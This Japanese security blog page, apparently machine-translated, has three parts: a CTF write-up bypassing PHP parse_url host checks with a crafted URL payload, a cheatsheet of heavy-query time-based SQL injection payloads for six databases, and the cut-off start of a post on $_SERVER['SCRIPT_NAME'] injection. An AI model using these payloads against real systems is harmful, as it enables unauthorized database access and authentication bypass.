CTF問題を例として,parse_url関数をバイパスすることを学ぶ

問題

運用保守担当者の間違いのため、イントラネット認証ページは外部ネットワークに展開されましたが、幸いにも、開発者はドメイン名の検証が行われました。

Writeup

ソースコードを表示し、次のコードを見つけます:
  
  ini_set("display_errors",0);
  $uri = $_SERVER['REQUEST_URI'];
  if(stripos($uri,".")){
      die("Unkonw URI.");
  }
  if(!parse_url($uri,PHP_URL_HOST)){
      $uri = "http://".$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
  }
  $host = parse_url($uri,PHP_URL_HOST);
  if($host === "c7f.zhuque.com"){
      setcookie("AuthFlag","flag{*******");
  }
  ?>
明らかに、parse_url関数をバイパスすることを検査です.
しかし、最初にドットのマッチングが増え、バイパスすることができます。 ペイロードを使用する:.@c7f.zhuque.com/..//
以上です。

高負荷のSQL文を使用したTime-based SQLインジェクション

0x00 概要

sleep、benchmark関数を使用できない場合,より多くの計算量を伴うクエリは,データベースのクエリ時間を長くし、遅延注入の効果を達成する。たとえば、mssqlはこのようなものを使うことができます:
  AND 2333=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)

0x01 なぜ高負荷のSQL文を必要としますか?

時間遅延を引き起こすいくつかの関数が注入で使用できない場合、たとえば、次の関数がフィルタリングされます:
  • sleep
  • benchmark
  • Get_lock
  • おそらくもっと
データベースのクエリ時間を可能な限り長くするために、遅延注入のために重いクエリを使用することができます。たとえば、information_schemaの2つの大きなテーブルにデカルト積とその他のステートメントを実行させます。注意:benchmarkを使用した注入は、基本的には重いクエリの範囲内ですが、ここでは説明しません。

0x02 cheatsheet

  • PostgreSQL
    • AND 2333=(SELECT COUNT(*) FROM GENERATE_SERIES(1,1000000000))
  • MSSQL
    • AND 2333=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)
  • Oracle
    • AND 2333=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)
  • IBM DB2
    • AND 2333=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)
  • SQLite
    • AND 23333=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000/2))))
  • Mysql
    • AND (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C);
より多くのpayload:

0x03 参照



クリエイティブ・コモンズ・ライセンス
この 作品 は クリエイティブ・コモンズ 表示 - 非営利 - 継承 3.0 非移植 ライセンスの下に提供されています。

$_SERVER['SCRIPT_NAME']変数のインジェクション

0x00 概要 $_SERVER['SCRIPT_NAME']はPHP用の1つ組み込み変数です。ここでは、使用時には、一般的にフィルタリングされません。 fuzzの後、この変数の取得は実際に問題がある、予期しないデータが導入されます。 一部のWebサーバ...